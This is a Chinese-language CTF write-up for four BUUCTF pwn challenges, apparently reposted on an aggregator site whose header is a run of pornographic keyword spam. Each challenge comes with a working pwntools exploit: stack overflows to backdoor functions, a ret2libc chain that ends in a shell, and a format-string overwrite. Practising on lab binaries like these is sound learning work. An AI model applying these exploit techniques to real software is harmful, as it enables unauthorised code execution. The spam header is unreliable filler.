日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

PWN-PRACTICE-BUUCTF-2

發布時間:2023/12/10 编程问答 52 豆豆
生活随笔 收集整理的這篇文章主要介紹了 PWN-PRACTICE-BUUCTF-2 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

PWN-PRACTICE-BUUCTF-2

    • pwn1_sctf_2016
    • jarvisoj_level0
    • ciscn_2019_c_1
    • [第五空間2019 決賽]PWN5

pwn1_sctf_2016

main函數中執行vuln函數
fgets限制了輸入的長度,不足以構成棧溢出
通過將輸入中的字符"I"替換成"you",增加長度,使滿足棧溢出

同時可執行文件存在后門函數get_flag

構造payload,覆蓋eip到get_flag即可得到flag

from pwn import * #io=process('./pwn1_sctf_2016') io=remote('node4.buuoj.cn',25873) get_flag=0x08048F0D payload='I'*20+'a'*4+p32(get_flag) io.sendline(payload) io.interactive()

jarvisoj_level0

簡單的棧溢出,留有后門函數callsystem
構造payload,覆蓋rip到callsystem,為了滿足系統調用需要的16字節對齊,在系統調用前加一條ret

from pwn import * #io=process("./level0") io=remote('node4.buuoj.cn',25195) callsystem=0x0000000000400596 ret=0x0000000000400431 payload="a"*(128+8)+p64(ret)+p64(callsystem) io.sendline(payload) io.interactive()

ciscn_2019_c_1

棧溢出ret2libc,encrypt函數里的異或運算不用管的

from pwn import * context.log_level="debug" io=remote('node4.buuoj.cn',28108) elf=ELF("./ciscn_2019_c_1") libc=ELF("./libc-2.27-18-x64.so") io.recvuntil("Input your choice!\n") io.sendline("1") io.recvuntil("Input your Plaintext to be encrypted\n") pop_rdi_ret=0x0000000000400c83 puts_got=elf.got["puts"] puts_plt=elf.plt["puts"] encrypt=0x00000000004009A0 ret=0x00000000004006b9 payload="a"*(48+2+30+8)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(encrypt) io.sendline(payload) io.recvuntil("Ciphertext\n") io.recvuntil("\n") puts_addr=u64(io.recvuntil("\n",drop=True).ljust(8,"\x00")) print(hex(puts_addr)) libc_base=puts_addr-libc.sym["puts"] system=libc_base+libc.sym["system"] binsh=libc_base+libc.search("/bin/sh").next() payload_2="a"*(48+2+30+8)+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system)+p64(encrypt) io.recvuntil("Input your Plaintext to be encrypted\n") io.sendline(payload_2) io.sendline("cat flag") io.interactive()

[第五空間2019 決賽]PWN5

格式化字符串的洞,覆寫dword_804C044處的值,再輸入相同的值即可驗證成功
測試知道偏移為10,利用pwntools集成的fmtstr_payload來構造payload
或者自己構造payload,因為要覆寫的值不必固定,所以構造方式有很多

from pwn import * io=remote('node4.buuoj.cn',26708) io.recvuntil("your name:") payload=fmtstr_payload(10,{0x0804C044:3}) #payload="aaa%12$n"+p32(0x0804C044) io.sendline(payload) io.recvuntil("your passwd:") io.sendline("3") io.sendline("cat flag") io.interactive()

總結

以上是生活随笔為你收集整理的PWN-PRACTICE-BUUCTF-2的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。